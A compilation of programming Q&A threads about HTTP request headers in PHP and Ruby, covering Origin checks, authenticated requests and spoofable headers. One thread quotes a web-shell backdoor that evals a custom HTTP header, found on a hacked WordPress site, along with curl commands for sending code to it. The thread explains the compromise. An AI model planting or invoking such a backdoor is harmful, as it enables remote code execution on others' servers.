validate HTTP requests with header "origin" - php

I have a REST API in https://domain1.com
I want to accept requests only from https://domain2.com
Question, Can I rely on the "origin" header to accept request only from https://domain2.com?
Note that Both websites are secured with SSL
It would be something like this:
$headers = getallheaders();
if($headers['origin'] != 'https://domain2.com'){
return FALSE;
}

Relying on the Origin header would be similar to relying on a Cookie. A well-behaved client (such as a browser) will send it with the correct value. An attacker would simply spoof it to whatever value they need to get your service to work.
You can use it as a way to prevent someone from using your API on their site directly from the browser. You cannot use it to prevent someone from using your API via a proxy or accessing it directly to download data.

Related

Can a hacker pass in parameters to $_SERVER?

So our website unfortunately got hacked.
They created a file in our wp-admin directory called wp-update.php containing this code:
<?php #eval($_SERVER['HTTP_4CD44849DA572F7C']); ?>
My question is how can the hacker pass in his script using $_SERVER?
Yes a hacker can send data into $_SERVER, it contains HTTP headers (cf. the documentation) with a simple curl command you can inject data.
curl -H '4CD44849DA572F7C: echo "hello from server";' http://example.com
Properties of the $_SERVER superglobal with names starting with HTTP_ are just representations of the HTTP request headers.
Since request headers are completely under the control of whoever is making the request, it is trivial to insert data there.
Any HTTP client will let the attacker specify whatever headers they like. An example in cURL's command line client would look like:
curl -H "4CD44849DA572F7C: code goes here" http://example.com/your-hacked.php

How to use get_file_contents in PHP when authorization is needed for URI?

I'm making a request to retrieve a JSON file to a server at a particular secure DocuSign uri. However, unless I put in the authorization information (which I do have), I am unable to have the file returned.
<?php
$json = file_get_contents("https://example.docusign.com/sensitiveIDs/moreID");
echo $json
?>
Where would I put in authorization information for the specific server/username/password/other info needed to access the particular DocuSign server using a method like this in PHP? Is there a better method to use for this scenario in PHP?
It depends on how the authorization is implemented. If its basic or digest HTTP authentication then specify it in the URL:
file_get_contents("https://$USER:$PASSWORD#example.docusign.com/sensitiveIDs/moreID");
Cookie based authentication is a lot more difficult (and probably easier to use Curl or even a more complex system like Guzzle. If its oauth2, then you probably want an oauth2 library.
Your call needs to include authentication to make the GET call to retrieve the file.
If your app is initiated by a human use Oauth to retrieve access and refresh tokens. Then included the access token with the GET request.
If your app is a "system app" that wants to autonomously retrieve the file, then you should authenticate by using X-DocuSign-Authentication -- include the following header in your HTTPS request. Since the request is HTTPS, the content is encrypted on the wire:
X-DocuSign-Authentication: <DocuSignCredentials><Username>{name}</Username><Password>{password}</Password><IntegratorKey>{integrator_key}</IntegratorKey></DocuSignCredentials>
Replace {name} with your email address (no braces), etc.
The bottom line is that you can't use the file_get_contents Php method. Instead, you'd do something like the following:
Use https://github.com/rmccue/Requests or a similar library to help with the https request. (http is not allowed due to security issues.)
(untested code)
$url = $base_url . $the_url_section_for_this_call
$headers = array('X-DocuSign-Authentication' =>
'<DocuSignCredentials><Username>your_name</Username><Password>your_password</Password><IntegratorKey>your_integrator_key</IntegratorKey></DocuSignCredentials>');
$request = Requests::get($url, $headers);
# Check that the call succeeded (either 200 or 201 depending on the method
$status_code = $request->status_code;
if ($status_code != 200 && $status_code != 201) {
throw new Exception('Problem while calling DocuSign');
}
$json = $request->body;

Callback function

So in JavaScript, I used to be able to have an http request initiate a callback when AJAX sent a response back to some data I sent to the server, successfully being a callback function. I'm now experimenting with the OAuth2 gem for Ruby, and I'm finding callbacks to not be the same;
I have a web server and facebook app set up, and I have a small php script that writes the current URL (including the auth code, for example) to a file, no problem. All the settings in the facebook app are set up, and if I put this in the URL in the browser:
http://graph.facebook.com/oauth/authorize?client_id=[my_client_id]&redirect_uri=http://localhost/oauth/callback/index.php
It redirects successfully to that script, which then writes the authorization code to a file which I can then use to get the access token. Problem is that I can only do this process manually; using the Net::HTTP.get(URI(address)) command in ruby doesn't seem to initiate the php script.
Ayone have any ideas?
I have no idea why you posted your history with javascript ajax requests, as it has no bearing on your ruby script, which by the way doesn't even use a callback method/function. Using a callback function just means you are calling some function and passing it another function as an argument. When I started programming, the term callback function was very confusing to me, and in my opinion the term should be dropped from the lingo.
As for your ruby script, you need to use something like Firebug to look at the request headers that are being sent by your browser to the server when you manually enter the url in your browser. If you use those same headers in your ruby script, then it should work, e.g.:
req['header1'] = 'hello'
req['header2'] = '10'
or:
headers = {
'header1' => 'hello',
'header2' => '10',
...
}
req = Net::HTTP::Get.new(uri.request_uri, headers)
http = Net::HTTP.new(uri.host, uri.port)
resp = http.request(req)
It's possible that you have a cookie set in your browser, which your browser automatically adds to the request headers when it sends the request to the server. Your browser probably adds thousands of headers to the request--many of which will have no bearing on your problem. If you have the patience, you can try to figure out which header is causing your ruby script's request to malfunction.
Another option is to use the mechanize gem, which will automatically handle cookies and redirects for requests sent by ruby scripts:
http://docs.seattlerb.org/mechanize/GUIDE_rdoc.html
(Read the section Let's Fetch a Page; Don't use the line require 'rubygems' if you are using ruby 1.9+).

Why use strtolower to verify $_SERVER['HTTP_X_REQUESTED_WITH']?

It's extremely common to see code like this for checking XHR:
if (
isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'
) {
// ajax happened
}
Why is strtolower always used here instead of just comparing to XMLHttpRequest? Is it just paranoia or is there a real reason?
HTTP headers in the request are always included by the client. A client can be a shell script, a browser or an Ajax call fired by Javascript or a Javascript framework.
The "j" in Ajax stands for Javascript, but the HTTP request of thus can be created with any other script or program.
From Common non-standard request headers:
X-Requested-With: mainly used to identify Ajax requests. Most JavaScript frameworks send this header with value of XMLHttpRequest XMLHttpRequest.
All headers starting with X-are non standard headers, which means there is no official document defining their values.
From https://www.rfc-editor.org/rfc/rfc6648:
Historically, designers and implementers of application protocols
have often distinguished between standardized and unstandardized
parameters by prefixing the names of unstandardized parameters with
the string "X-" or similar constructs.
The HTTP protocol is not fixed or static, there are just standards you should follow.
You can even create your own HTTP request and put individual headers in, for example:
X-Requested-With: MySuperCURLScript
X-MyOwnHeader: Cool!
To answer your question, if one client sends the header X-Requested-With: XMLHttpRequest, the other sends X-Requested-With: xmlHttpRequest, you can simply lowercase 'em all and be sure not to miss different notations. Simple as that!
Security aspect: The headers and its contents are only information, not something you should 100% rely on. If you have a deep look into CURL, or Google results for "send http header with php", you'll quickly find out that any information can be sent and faked easily. HTTP headers have often been abused to hack servers, by sending manipulated cookies (- a cookie is a header, simple as that: Cookie: ...), manipulated file information (upload a fake gif which is an exe file and so on), manipulating session data, POST / request data.

is it possible to send referer information with php?

is it possible to send referer information with php?
If you are, for example, fetching the contents of a URL in PHP using cURL, you can send any additional headers you want, including a referrer header.
You can not force the users browser to send a referrer header by any means, especially not with a server side language.
It's not possible to get the client browser to send a different Referer header.
However, it is theory possible for you to do this when conducting an HTTP request from PHP (either using cURL or native URL wrappers), but including a custom request header in this request.
Yes, when trying to load a page, just write the Referer header to the output stream.
Referer is a 'request' header meaning sent by the client i.e. browser. From server side i.e. using PHP you can only control 'response' headers.
If you are planning to make HTTP requests with PHP, that is different of course.
Edit: ..and requests made from the server to the other servers is a pretty common scenario actually. It seems like you should be able to set the headers you want while creating the HttpRequest:
$options = array(headers => $header_array,
httpauth => $credentials);
$r = new HttpRequest($url, HTTP_METH_POST, $options);
Or you can use the addHeaders method:
$r->addHeaders(array('Referer' => 'http://example.com'));

Categories